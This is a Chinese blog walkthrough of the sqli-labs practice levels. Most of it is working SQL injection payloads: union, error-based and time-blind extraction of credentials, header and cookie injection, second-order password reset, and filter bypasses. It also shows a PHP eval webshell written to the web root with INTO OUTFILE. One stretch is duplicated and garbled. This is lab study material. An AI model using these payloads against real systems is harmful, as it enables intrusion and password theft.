sqli_lab

本文深入探讨了SQL注入攻击,包括各种类型的闭合方式,如单引号、双引号、报错注入、时间盲注等。通过示例展示了如何利用闭合、联合查询、错误信息和延迟注入来获取数据库信息,如库名、表名、列名和数据。同时,文章还涵盖了应对WAF和不同过滤方式的注入技巧,以及堆叠查询注入。
摘要由CSDN通过智能技术生成

读写文件

image-20220304214048120

此状态不允许导入导出状态

image-20220304214250075

修改限制成功

image-20220304220515223

– (这里有一个空格,–空格)在SQL内表示注释,但在URL中,如果在最后加上-- ,浏览器在发送请求的时候会把URL末尾的空格舍去,所以我们用–+代替-- ,原因是+在URL被URL编码后会变成空格。

显示位:

这个显示位指的是网页中能够显示数据的位置。

举例来说,比如我们通过ORDER BY命令知道了表的列数为11。然后再使用UNION SELECT 1,2,3…,11 from table,网页中显示了信息8,那么说明网页只能够显示第8列中信息,不能显示其他列的信息。也可以理解为网页只开放了8这个窗口,你想要查询数据库信息就必须要通过这个窗口。所以如果我们想要知道某个属性的值,比如admin,就要把admin属性放到8的位置上,这样就能通过第8列爆出admin的信息。

  1. information_schema:表示所有信息,包括库、表、列

  2. information_schema.tables:记录所有表名信息的表

  3. information_schema.columns:记录所有列名信息的表

  4. table_schema:数据库的名称

  5. table_name:表名

  6. column_name:列名

  7. group_concat():显示所有查询到的数据

  8. concat()函数

    1)、功能:将多个字符串连接成一个字符串。

    2)、语法:concat(str1, str2,…)

    返回结果为连接参数产生的字符串,如果有任何一个参数为null,则返回值为null。

  9. limit子句用于限制查询结果返回的数量。

    用法:【select * from tableName limit i,n 】

    参数

    • tableName : 为数据表;
    • i : 为查询结果的索引值(默认从0开始);
    • n : 为查询结果返回的数量

Less-1

1.经过语句

1 and 1=2 --+

测试 ,页面回显正常,所以该地方不是数值查询

image-20220302124408851

2.接着尝试在id后面加上’,发现页面回显不正常,表示可能存在SQL字符注入

image-20220302124633275

3.判断注入类型:

1).假设为数字型:

1 and 1=1
1 and 1=2

都回显正常,说明不是数字型

image-20220302114118389

image-20220302114142655

2).假设为字符型

1' and '1'='1
1' and '1'='2

当执行1’ and ‘1’='2语句时,页面返回异常,确定为字符型注入

image-20220302115744428

4.order by猜解字段

?id=1' order by 3--+
?id=1' order by 4--+

image-20220302125747814

image-20220302125803728

order by 3页面回显正常,order by 4页面回显不正常,说明此表一个有3列。

5.确定显示位

知道了表中的列数我们还需要查询回显位,因为虽然知道了列数,但我们需要sql注入返回信息到我们手中。对于一个网页,如果它的列数有三列,但可能只有1,2列的数据返回页面前端。所以我们需要查询哪个字段数会回显,所以我们用union select 1,2,3来查看回显位。

union select后面加数字串时,如果没有后面的表名,该语句没有向任何一个数据库查询,那么它输出的内容就是我们select后的数字(数字串不一定要1,2,3,也可以是随便的数字如1,342,3522)。

所以这个时候我们可以用union select 1,2,3来做一个快速查询,根据显示在页面上的数字判断哪个数字所在的地方是“通道”,那我们只需要把这个数字改成我们要查询的内容就好了。

利用联合查询语句,是前面的查询语句失效,然后利用select语句在表的添加一条临时的记录1,2,3,使页面显示对应的数字,从而判断网页中显示的是哪几个字段的数据信息。如下图,对应的信息显示位为2和3,可以知道,当前查询语句查询的是表格的第2,3个字段的内容。

image-20220302131458630

6.利用sql查询语句依次爆破出数据库内的数据库名,表名,列名,字段信息

注意 id=非正确值

库名:security

?id=-1' union select 1,2,database() --+

image-20220302131821659

表名:

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

可以显示指定数据库中的所有表名

image-20220302132523593

列名:

?id=1' and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users'--+

image-20220302132859485

密码:

?id=-1' union select 1,2,group_concat(password) from users --+

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-O1HVrU5h-1646486086872)(C:\Users\lenovo\AppData\Roaming\Typora\typora-user-images\image-20220302135108457.png)]

用户名:

?id=-1' union select 1,2,group_concat(username) from users --+

image-20220302135211895

Less-2

1.判断是否存在sql注入,页面返回异常,存在sql注入

?id=1'

image-20220302135441761

2.判断类型

根据语句,判断为数值型注入

?id=1 and 1=1
?id=1 and 1=2

image-20220302135819182

3.order by 3 页面显示正常,order by 4页面显示不正常,所以该表有3列数据

接着可以使用联合查询进行注入,详细过程参考第一关

Less-3

通过基础判断,确定为字符型注入

输入语句查询数据:页面返回异常

image-20220302141334696

输入单引号,根据报错信息确定咱们输入的内容存放到一对单引号加圆括号中了,猜想一下咱们输入1在数据库语句中的位置,形如select … from … where id=(‘1’) …,在第一题中id=1‘的后面单引号加上),其它保持不变就行了,执行sql语句查询数据即可

Less-4

与第三关类似,第四关使用 ("") 的方式闭合字符串,然后可以优先使用联合查询注入

1.当输入

?id=2" --+

时,页面显示不正常

image-20220302141812976

2.当输入

?id=2") --+

image-20220302141840698

页面正常

Less-5

image-20220302142057093

看到这个报错信息,第一反应就是布尔型盲注、报错型注入、时间延迟型盲注了

报错型注入:

count(*):函数返回给定选择中被选的函数
concat():连接字符串,比如 concat(‘a’,’b’) 就是ab
floor():向下取整
rand():随机数函数
rand(0):伪随机数,生成的随机数有规律
floor(rand(0)*2) :生成的随机数存在规律0110110011101

floor使用方法 and (select 1 from (select count(),concat((payload),floor (rand(0)\*2))x from information_schema.tables group by x)a) --+

floor报错注入满足的条件是数据库中要查询的数据至少3条以上

使用 floor()、count()、group by 的SQL 注入语句:

?id=1’ and ( select 1 from ( select count(*),concat( ( select schema_name from information_schema.schemata limit 0,1 ), floor( rand( 0 )*2 ) ) x from information_schema.schemata group by x ) b ) --+

我们输入的URL放入到sql语句中,就成了:

“select * from users where id=‘1’ and ( select 1 from ( select count(*),concat( ( select schema_name from information_schema.schemata limit 0,1 ), floor( rand( 0 )*2 ) ) x from information_schema.schemata group by x ) b ) --+ ’ LIMIT 0,1”

这时,一步一步分解 sql 语句可以看到

concat( ( select schema_name from information_schema.schemata limit 0,1 ), floor( rand( 0 )*2 ) )

的目的是将要查询信息的语句
select schema_name from information_schema.schemata limit 0,1floor( rand( 0 )*2 )
concat() 连接起来,这样就可以通过报错,将要查询的信息爆出来了。

concat( ( select schema_name from information_schema.schemata limit 0,1 ), floor( rand( 0 )*2 ) ) x
当中的 x 是相当于给这一串字符添加了一个别名,即 x 就等于
concat( ( select schema_name from information_schema.schemata limit 0,1 ), floor( rand( 0 )*2 ) )
这样做的目的是,省得后面再次使用这一长条字符的时候麻烦,可以直接使用它的别名来代替。

所以,这条语句
select count(*),concat( ( select schema_name from information_schema.schemata limit 0,1 ), floor( rand( 0 )*2 ) ) x from information_schema.schemata group by x
就可以分解简单的看成
select count(*), x from information_schema.schemata group by x
这里的 x 就是上面讲到的一长串字符的别名,x 里面连接包含了要查询的语句和floor(rand(0)*2),是 floor() 报错的关键核心SQL语句。

但是如果就这样放到URL里面去执行肯定不行,因为没有和 select * from users where id=‘1’ 拼接到一起,不能一起执行,所以我们需要用到 and 运算符。

and 运算符简介:
and 运算符通常用在select,update,detele 语句的 where 子句中以形成布尔表达式。
and 运算符是组合两个或多个布尔表达式的逻辑运算符。

sql语句要求在查询结果的基础上再执行查询时,必须给定一个别名。这时,我们先将我们的语句变成这样:
( select count(*),concat( ( select schema_name from information_schema.schemata limit 0,1 ), floor( rand( 0 )*2 ) ) x from information_schema.schemata group by x ) b
就是给了这一长串字符一个别名:b

最后我们用到的 and 运算符,将 id = ‘1’ 与 这边结果连着一起,但是又必须是布尔型,就是说返还的结果不是 1,就是 0。所以我们就在 b 的基础上再执行查询,也就响应了为什么上面要给一个别名 b 了,因为sql语句要求在查询结果的基础上再执行查询时, 必须给定一个别名,这时用 select 1 from b 语句,返还布尔值,与 select * from users where id=‘1’ 连接在一起,这样就可以执行成功了。

可以更改 limt 子句后面的参数来决定显示出来的信息,因为报错信息的长度有限,不能直接全部输出出来。

报错注入的概念:

(1). 通过floor报错 and (select 1 from (select count(*),concat((
payload),floor (rand(0)*2))x from information_schema.tables group by
x)a) 其中payload为你要插入的SQL语句 需要注意的是该语句将 输出字符长度限制为64位
(2). 通过updatexml报错 and updatexml(1, payload,1)
同样该语句对输出的字符长度也做了限制,其最长输出32位
并且该语句对payload的反悔类型也做了限制,只有在payload返回的不是xml格式才会生效

(3). 通过extractValue报错 and extractvalue(1, payload) 输出字符有长度限制,最长32位

爆库名:

limit 0,1 数据库名为information_schema

http://127.0.0.1/sqlilabs/Less-5/?id=1' and (select 1 from (select count(*),concat((select schema_name from information_schema.schemata limit 0,1),floor (rand()*2)) as x from information_schema.tables group by x) as a) --+

image-20220302225905668

limit 1,1 数据库名为blog1

http://127.0.0.1/sqlilabs/Less-5/?id=1' and (select 1 from (select count(*),concat((select schema_name from information_schema.schemata limit 1,1),floor (rand()*2)) as x from information_schema.tables group by x) as a) --+

image-20220302230116869

以此类推。
但有种简便方法一步到位

http://127.0.0.1/sqlilabs/Less-5/?id=1' and (select 1 from (select count(*),concat((database()),floor (rand(0)*2))x from information_schema.tables group by x)a) --+

image-20220302230335442

爆表名:

users

http://127.0.0.1/sqlilabs/Less-5/?id=1' and (select 1 from (select count(*),concat(((select concat(table_name) from information_schema.tables where table_schema='security' limit 3,1)),floor (rand(0)*2))x from information_schema.tables group by x)a) --+

image-20220303114424715

爆列名:

修改limit x,1 可以遍历列名,找到username和password列

user pass

http://127.0.0.1/sqlilabs/Less-5/?id=1' and (select 1 from (select count(*),concat((select concat(column_name,';') from information_schema.columns where table_name='users' limit 0,1),floor(rand()*2)) as x from information_schema.columns group by x) as a) --+

image-20220303115925015

image-20220303120146029

获取信息:

用户名

http://127.0.0.1/sqlilabs/Less-5/?id=1' and (select 1 from (select count(*),concat((select concat(column_name,';') from information_schema.columns where table_name='users' limit 1,1),floor(rand()*2)) as x from information_schema.columns group by x) as a) --+

image-20220303120737956

密码

http://127.0.0.1/sqlilabs/Less-5/?id=1' and (select 1 from (select count(*),concat((select concat(column_name,';') from information_schema.columns where table_name='users' limit 2,1),floor(rand()*2)) as x from information_schema.columns group by x) as a) --+

image-20220303120927871

Less-6

与第5关类似,只不过这一关使用的是 ""的方式闭合字符串

我们只需要将?id=2’ 改为 ?id=2"即可

image-20220303121925907

Less-7

数据库file权限

数据库的file权限规定了数据库用户是否有权限向操作系统内写入和读取已存在的权限

into outfile命令

使用的环境:

我们必须知道,服务器上一个可以写入文件的文件夹的完整路径

第七关标题为” Dump into outfile“ 意思是利用文件导入的方式,不论注入方式是什么,我们都要先判断注入点。

1.我们正常输入?id=1页面回显如下

image-20220303122042517

2.当我们输入 and 1=2 页面显示依然正常,说明不是数值型注入

image-20220303122108775

3.当我们输入?id=1’页面报错,说明可能存在"注入

image-20220303122219103

4…当我们输入?id=1’ --+页面显示依然不正常

image-20220303122209357

5.接着我们尝试?id=1’) --+,页面依然显示不正常

image-20220303122312929

6.我们可以接着输入?id=1") --+尝试,发现页面回显正常

image-20220303122503101

我们个简单题less-2直接注入拿到路径,方便导出。

Less-2/?id=-1 union select 1,@@basedir,@@datadir --+

image-20220303163246612

D:\\phpstudy_pro\\Extensions\\MySQL5.7.26\\data\\12.php

注入less-7

payload

?id=1')) union select 1,2,'<?php @eval($_POST["pass"]);?>' into outfile "D:\\phpstudy_pro\\Extensions\\www\\12.php"--+

虽然回显报错,但是查看本地文件已经写入了12.php,接下来连接蚁剑。

连接之前最好用浏览器访问一下,相当于运行一下,否则可能连不上。

地址:php一句话木马的地址,后面的口令就是刚才写的post里写的pass

连接成功

Less-8

?id=1' --+ 

页面回显正常,这里是单引号字符型注入

image-20220303165415529

2.页面没有显示位,没有数据库报错信息。

我们先尝试一下是否有file权限

?id=1' union select 1,2,3 into outfile "D:\\phpstudy_pro\\Extensions\\WWW\\88888.php"--+

上传成功

image-20220303171415803

Less-9

看标题,应该是让我们用时间盲注,并且还有单引号对参数进行包装

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Less-9 Blind- Time based- Single Quotes- String</title>
</head>
 
<body bgcolor="#000000">
<div style=" margin-top:60px;color:#FFF; font-size:23px; text-align:center">Welcome&nbsp;&nbsp;&nbsp;<font color="#FF0000"> Dhakkan </font><br>
<font size="3" color="#FFFF00">
 
 
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
 
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity 
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
 
	if($row)
	{
  	echo '<font size="5" color="#FFFF00">';	
  	echo 'You are in...........';
  	echo "<br>";
    	echo "</font>";
  	}
	else 
	{
	
	echo '<font size="5" color="#FFFF00">';
	echo 'You are in...........';
	//print_r(mysql_error());
	//echo "You have an error in your SQL syntax";
	echo "</br></font>";	
	echo '<font color= "#0000ff" font size= 3>';	
	
	}
}
	else { echo "Please input the ID as parameter with numeric value";}
 
?>
</font> </div></br></br></br><center>
<img src="../images/Less-9.jpg" /></center>
</body>
</html>

从源码可以看出,无论我们的SQL注入在后端拼接的语句是否正确,都只会给我返回you are in…这样的句子,所以不太符合布尔盲注的特征,就是有两个不一样的返回界面。

所以我们采用延时注入猜解数据

查询库名长度:

?id=1' if(length(database())=8,sleep(3),1)--+

产生延迟,所以库名长为8

猜数据库名第一位:

(如果数据错误,则会延迟)

?id=1'and If(ascii(substr(database(),1,1))=115,1,sleep(10))--+

image-20220305174650238

没有延迟,说明第一个字符是s,然后以此类推得出数据库名为security

猜表名第一位:

?id=1'and If(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101,1,sleep(10))--+

image-20220305174912676

会看到有明显的延迟

猜字段:

?id=1' if(left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password',sleep(3),1)--+

image-20220305175713605

产生延迟

?id=1' and if(left((select column_name from information_schema.columns where table_name='users' limit 9,1),8)='username', sleep(3), 1) --+

猜值:

?id=1' and if(left((select password from user order by id limit 0,1),4)='dumb',sleep(5),1) --+ 
?id=1' and if(left((select username from users order by id limit 0,1),4)='dumb' , sleep(3), 1) --+

Less-10

GET - Blind - Time based - double quotes (基于时间的双引号盲注)

基于时间的双引号盲注,只要把上一题Less-9的单引号改成双引号,一样的注入。

11到21关的提交方式全是post型的,采用BP抓包实现猜解

Less-11

根据提示,因为是post方式提交,所以

1.输入admin admin 登陆,抓包,发送到repeater模块

image-20220305181337361

在repeater中通过修改post的参数进行注入。

image-20220305181440275

加入单引号存在sql注入,并报错,所以我们可以采用报错注入,也可以联合查询

image-20220305181558878

说明是基于单引号的报错注入

我们用extractvalue()

爆库

admin' and extractvalue(1,concat('^',(select(database())),'^')) --+

image-20220305182333705

爆表

admin' and extractvalue(1,concat('^',(select group_concat(table_name) from information_schema.tables where table_schema=database()),'^')) --+

image-20220305182708927

爆列名

admin' and extractvalue(1,concat('^',(select group_concat(column_name) from information_schema.columns where table_name='users'),'^')) --+

image-20220305182945067

爆值

admin' and extractvalue(1,concat('^',(select group_concat(username,0x3a,password) from users),'^')) --+

image-20220305183339399

Less-12

双引号加括号报错型注入

可以使用上一题的payload只需要修改单引号为双引号加括号

image-20220305195000695

爆库

admin") and extractvalue(1,concat('^',(select(database())),'^')) --+

爆表

admin") and extractvalue(1,concat('^',(select group_concat(table_name) from information_schema.tables where table_schema=database()),'^')) --+

爆列名

admin") and extractvalue(1,concat('^',(select group_concat(column_name) from information_schema.columns where table_name='users'),'^')) --+

爆值

admin") and extractvalue(1,concat('^',(select group_concat(username,0x3a,password) from users),'^')) --+

image-20220305195158918

Less-13

image-20220305195459698

通过报错可知 是通过’) 闭合的,有回显,可通过报错注入获取数据

image-20220305195529243

但发现没有登入成功返回信息

判断页面是否有布尔类型状态:

uname=admin') and ('1')=('1 --+&passwd=admin&submit=Submit

image-20220305200129895

uname=admin') and ('1')=('2 --+&passwd=admin&submit=Submit

image-20220305200203800

页面没有布尔状态,只能用延时注入

方法一,报错型

admin') and updatexml(1,concat('^',(select database()),'^'),1) --+ 

image-20220305200912204

admin') and extractvalue(1,concat('^',(select group_concat(table_name) from information_schema.tables where table_schema=database()),'^')) --+

image-20220305201041051

最后得到用户名与密码:

admin') and extractvalue(1,concat('^',(select group_concat(username,0x3a,password) from users),'^')) --+

image-20220305201141342

方法二,时间型盲注

admin') and if(left(database(),1)='s',sleep(3),1) --+&passwd=admin&submit=Submit

image-20220305201241039

有延迟,说明注入成功

这就又和之前的一样了,按照时间盲注判断即可

Less-14

用双引号对参数进行了包装

image-20220305201612872

有报错,绕过后不显示登陆成功:

image-20220305201546047

和上题一样,采用报错注入和延时注入

image-20220305201828320

Less-15

image-20220305202012263

image-20220305202027606

经过不同的post后,页面没有回显,不能采用联合查询

image-20220305202125917

加入’ 后也没有报错,不能用报错注入

也没有布尔状态

所以只能使用延迟注入:

库的长度:
admin' and if(length(database())=8,sleep(5),1)--+&
库名:
admin' and if(left(database(),1)='s',sleep(5),1)--+

 表
admin' and if( left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' ,sleep(5),1)--+

列名
admin' and if(left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password' ,sleep(5),1)--+
 
 值:
admin' and if(left((select password from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+&passwd=admin&submit=Submit
uname=admin' and if(left((select username from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+

Less-16

不管在登陆框怎么输入,都没有错误信息显示,猜测是延迟型盲注。所以和上一关类似,只需将单引号改为双引号加括号 ")

库的长度:
admin") and if(length(database())=8,sleep(5),1)--+&
库名:
admin") and if(left(database(),1)='s',sleep(5),1)--+

 表
admin") and if( left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' ,sleep(5),1)--+

列名
admin") and if(left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password' ,sleep(5),1)--+
 
 值:
admin") and if(left((select password from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+&passwd=admin&submit=Submit
uname=admin' and if(left((select username from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+

Less-17

看标题以及关卡的页面提示,可以看出是让我们对密码进行修改。

查看源码:

image-20220305203024027

这里对uname做了check_input的处理,check_input()函数如下

function check_input($value)
	{
	if(!empty($value))
		{
		// truncation (see comments)
		$value = substr($value,0,15);
		}
 
		// Stripslashes if magic quotes enabled
		if (get_magic_quotes_gpc())
			{
			$value = stripslashes($value);
			}
 
		// Quote if not a number
		if (!ctype_digit($value))
			{
			$value = "'" . mysql_real_escape_string($value) . "'";
			}
		
	else
		{
		$value = intval($value);
		}
	return $value;
	}

只截取15个字符

get_magic_quotes_gpc()

当magic_quotes_gpc=On的时候,函数get_magic_quotes_gpc()就会返回1

当magic_quotes_gpc=Off的时候,函数get_magic_quotes_gpc()就会返回0

magic_quotes_gpc函数在php中的作用是判断解析用户提示的数据,如包括有:post、get、cookie过来的数据增加转义字符“\”,以确保这些数据不会引起程序,特别是数据库语句因为特殊字符引起的污染而出现致命的错误。

在magic_quotes_gpc = On的情况下,如果输入的数据有

单引号(’)、双引号(”)、反斜线(\)与 NULL(NULL 字符)等字符都会被加上反斜线。

stripslashes()删除由 addslashes() 函数添加的反斜杠

ctype_digit()判断是不是数字,是数字就返回true,否则返回false

mysql_real_escape_string()转义 SQL 语句中使用的字符串中的特殊字符。

intval() 整型转换

所以我们对password爆破:

使用updatexml()以下测试version()返回mysql版本:

admin' and updatexml(1,concat('^',version(),'^'),1) --+

image-20220305203640200

成功

爆库

admin' and updatexml(1,concat('^',database(),'^'),1) --+

image-20220305203830469

爆表名

123456' and updatexml(1,concat('^',(select group_concat(table_name) from information_schema.tables where table_schema=database()),'^'),1) --+

image-20220305204734496

爆列名

456789' and updatexml(1,concat('^',(select group_concat(column_name) from information_schema.columns where table_name='users'),'^'),1) --+

image-20220305204858555

爆值

11'  and  updatexml(1,concat(0x7e,(select password from (select password from users where username='admin') mingzi ),0x7e),1) --+

image-20220305205055708

Less-18

POST - Header Injection - Uagent field - Error based (基于错误的用户代理,头部POST注入)

报错型,单引号,user-agent型注入点。

看到user-agent的回显,猜测注入点在user-agne

image-20220305205309166

我们抓包修改user-agent

库:

  'and extractvalue(1,concat(0x7e,(select database()),0x7e)) and '

image-20220305205611835

接下来的步骤和之前的报错型注入一摸一样,payload可以参看,less-12 双引号报错型注入,只需要把双引号改为单引号就可以作为本题的payload

表名

admin' and extractvalue(1,concat('^',(select group_concat(table_name) from information_schema.tables where table_schema=database()),'^')) --+

列名

admin' and extractvalue(1,concat('^',(select group_concat(column_name) from information_schema.columns where table_name='users'),'^')) --+

admin' and extractvalue(1,concat('^',(select group_concat(username,0x3a,password) from users),'^')) --+

Less-19

POST - Header Injection - Referer field - Error based (基于头部的Referer POST报错注入)

单引号,报错型,referer型注入点。

本题和上一题很像,回显是referer,所以注入点改为referer,paylaod和上一题完全一样

Referer:'and updatexml(1,concat(0x7e,(select database())),1)and '1'= '1

Less-20

这关考的是cookie注入(直接登录时抓包是抓不到cookie的,源码中可以看到我们的cookie是从uname中获取,刷新后才会执行select。同样的这关也对账号密码进行了处理)

用户登录过程中burpsuite抓到两个request报文,第一个传送用户名和密码,第二个请求登录成功后的新页面,而这个request报文是携带cookie的,这里我用联合查询

Cookie: uname=admin' and 1=1 order by 4 #

Cookie: uname=admin' and 1=2 union select 1,2,3 #

Cookie: uname=admin' and 1=2 union select database(),2,3 #

用其他注入方式也可

ct group_concat(table_name) from information_schema.tables where table_schema=database()),’^’)) --+


列名

admin’ and extractvalue(1,concat(’^’,(select group_concat(column_name) from information_schema.columns where table_name=‘users’),’^’)) --+

admin’ and extractvalue(1,concat(’^’,(select group_concat(username,0x3a,password) from users),’^’)) --+




# **Less-19** 

POST - Header Injection - Referer field - Error based (基于头部的Referer POST报错注入)

单引号,报错型,referer型注入点。

本题和上一题很像,回显是referer,所以注入点改为referer,paylaod和上一题完全一样

Referer:'and updatexml(1,concat(0x7e,(select database())),1)and ‘1’= '1






# **Less-20** 

这关考的是cookie注入(直接登录时抓包是抓不到cookie的,源码中可以看到我们的cookie是从uname中获取,刷新后才会执行select。同样的这关也对账号密码进行了处理)

用户登录过程中burpsuite抓到两个request报文,第一个传送用户名和密码,第二个请求登录成功后的新页面,而这个request报文是携带cookie的,这里我用联合查询

Cookie: uname=admin’ and 1=1 order by 4 #
Cookie: uname=admin’ and 1=2 union select 1,2,3 #
Cookie: uname=admin’ and 1=2 union select database(),2,3

用其他注入方式也可

Less-21

cookie injection- base64 encoded-single quotes and parenthesis
(Cookie注入.base 64编码.单引号和括号)

根据提示我们用BP抓包进行payload

image-20220306201229054

抓到两个包,其中一个包含cookie

image-20220306201328262

可以看到数据以base64编码,通过解码得到:

image-20220306204506051

所以此题只需要上传paylaod的时候base64加密,其他与20关相同,可采用联合查询

image-20220306224029060

接下来只需要修改第三条查询语句,和less-20一样(注意用#注释,而不用–+),只要base64加密后写入cookie,就可以完成注入

Less-22

Cookie Injection- Error Based- Double Quotes - string (基于错误的双引号字符型Cookie注入)

base64编码,双引号,报错型,cookie型注入。

和less-21一样的,只需要使用双引号代替单引号再去掉括号就可获取数据

用编码工具进行编码:

image-20220306224413602

Less-23

GET - Error based - strip comments (基于错误的,过滤注释的GET型)

分析源码:

image-20220306224600723

使用了preg_replace()函数,将注释符过滤掉了

image-20220306225152665

我们通过报错知道是字符型注入:

image-20220306225406251

但不能使用注释符:

image-20220306225445899

我们尝试其他闭合:

库名:

?id=' union select 1,2,database() '

image-20220306225807597

表名:

?id=' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() or '1'='

image-20220306230055184

列名:

?id=' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' or '1'='

image-20220306230805772

值:

?id=' union select 1,group_concat(username),group_concat(password) from users where 1 or '1' = '

image-20220306231041169

Less-24

Second Degree Injections Real treat -Store Injections (二次注入)

1.注册一个admin’#的账号。

image-20220307103830712

2.登录admin’#该,修改该帐号的密码,此时修改的就是admin的密码,我修改为123456。

image-20220307103924770

Sql语句变为

UPDATE users SET passwd="New_Pass" WHERE username =' admin' # ' AND password='

也就是执行了

UPDATE users SET passwd="New_Pass" WHERE username =' admin'

这样就会修改 admin 的密码,而不是我自己注册的账号。

再次登录,成功注入

image-20220307104856329

image-20220307104825636

Less-25

源码:

function blacklist($id)
{
    $id= preg_replace('/or/i',"", $id);            //strip out OR (non case sensitive)
    $id= preg_replace('/AND/i',"", $id);        //Strip out AND (non case sensitive)
    
    return $id;
}

$id= blacklist($id);
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";


闭合方式:id='$id'

关键词:GET 类型、过滤 and+or。

进行闭合:

?id=2' --+

image-20220307110325334

我们可采用联合查询

库名:

?id=-2' union select 1,2,database()--+

image-20220307111350045

表名:

错误示范:

?id=-2' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

image-20220307112232494

因为information含or,被过滤,采用双写绕过

?id=-2' union select 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema=database() --+

image-20220307112358896

列名:

?id=-2' union select 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_schema=database() aandnd table_name='users'--+

image-20220307112624711

值:

?id=-2' union select 1,2,group_concat(username,'^',passwoorrd) from users--+

image-20220307112814310

Less-25a

Trick with OR & AND Blind (过滤了or和and的盲注)

那么盲注怎么判断过滤了and跟or呢,直接在前面添加or或and

通过各种判断,发现id没有做任何处理,且无法输出错误项,所以不能采用报错型注入,我们采用盲注或联合查询,和25关一样,去掉单引号即可:

库名:

?id=-2' union select 1,2,database()--+

表名

?id=-1 union select 1,group_concat(table_name),3 from infoorrmation_schema.tables where table_schema=database() --+

列名:

?id=-1 union select 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_schema=database() aandnd table_name='users'--+

值:

?id=-1 union select 1,2,group_concat(username,'^',passwoorrd) from users--+

Less-26

Trick with comments and space (过滤了注释和空格的注入)

源码:

// take the variables 
if(isset($_GET['id']))
{
	$id=$_GET['id'];
	//logging the connection parameters to a file for analysis.
	$fp=fopen('result.txt','a');
	fwrite($fp,'ID:'.$id."\n");
	fclose($fp);
 
	//fiddling with comments
	$id= blacklist($id);
	//echo "<br>";
	//echo $id;
	//echo "<br>";
	$hint=$id;
 
// connectivity 
	$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
	$result=mysql_query($sql);
	$row = mysql_fetch_array($result);
	if($row)
	{
	  	echo "<font size='5' color= '#99FF00'>";	
	  	echo 'Your Login name:'. $row['username'];
	  	echo "<br>";
	  	echo 'Your Password:' .$row['password'];
	  	echo "</font>";
  	}
	else 
	{
		echo '<font color= "#FFFF00">';
		print_r(mysql_error());
		echo "</font>";  
	}
}
	else { echo "Please input the ID as parameter with numeric value";}
 
 
 
 
function blacklist($id)
{
	$id= preg_replace('/or/i',"", $id);			//strip out OR (non case sensitive)
	$id= preg_replace('/and/i',"", $id);		//Strip out AND (non case sensitive)
	$id= preg_replace('/[\/\*]/',"", $id);		//strip out /*
	$id= preg_replace('/[--]/',"", $id);		//Strip out --
	$id= preg_replace('/[#]/',"", $id);			//Strip out #
	$id= preg_replace('/[\s]/',"", $id);		//Strip out spaces
	$id= preg_replace('/[\/\\\\]/',"", $id);		//Strip out slashes
	return $id;
}

是字符型注入,但无法进行闭合

image-20220307114338635

查看源码发现过滤了过滤了 or,and , /* , – , # , 空格 , /

  • 过滤 or 和 and:可以用 && 和 || 替换或者采用双写的方式绕过
  • 过滤空格:可以用下表的字符进行替换
%09 TAB 键(水平) 
%0a 新建一行 
%0c 新的一页 
%0d return 功能 
%0b TAB 键(垂直) 
%a0 空格 
  • 过滤注释:可以用两侧闭合方式绕过。例如:less-23

尝试闭合

?id=1%a0||'1

第一个 ’ 首先闭合id=’$id’ 中的’,%a0是空格的意思,
||是或者的意思,'1是为了闭合后面的 ’
注意在hackbar中输入&&时,需要自行URL编码为%26%26,否则会报错,而输入||不需要

(报错注入)确认数据库:

id=1'%26%26extractvalue(1,concat(0x7e,database(),0x7e))%26%26'1

image-20220308203136134

表名:

?id=1'%26%26extractvalue(1,concat(0x7e,(select%a0 group_concat(table_name)%a0from %a0infoorrmation_schema.tables %a0where%a0 table_schema=database()),0x7e))%26%26'1

列名:

?id=0'%0bunion%0bselect%0b1,group_concat(column_name),3%0bfrom%0binfoorrmation_schema.columns%0bwhere%0btable_schema='security'%0baandnd%0btable_name='users'%0b%26%26%0b'1'='1

值:

?id=0'%a0union%a0select%a01,group_concat(username,passwoorrd),3%a0from%a0users%a0where%a0'1%27='1 

后面多了where ‘1’='1,是为了让语句变成无约束查询

less-26a

GET - Blind Based - All your SPACES and COMMENTS belong to us(过滤了空格和注释的盲注)

这关与26的区别在于,添加了一个括号,同时在sql语句执行抛出错误后并不在前台页面输出。所以我们采用盲注这里依旧是利用union注入。

数据库名:

?id=-1')%0bunion%0bselect%0b1,database(),3%0b||('1')=('1

image-20220308210247628

表名:

?id=-1')%0bunion%0bselect%0b1,group_concat(table_name),3%0bfrom%0binfoorrmation_schema.tables%0bwhere%0btable_schema='security'%26%26('1')=('1

列名:

?id=-1')%0bunion%0bselect%0b1,group_concat(column_name),3%0bfrom%0binfoorrmation_schema.columns%0bwhere%0btable_schema='security'%0baandnd%0btable_name='users'%26%26('1')=('1

image-20220308210409514

值:

?id=100')%0bunion%0bselect%0b1,group_concat(passwoorrd),3%0bfrom%0busers%0bwhere%0b('1')=('1

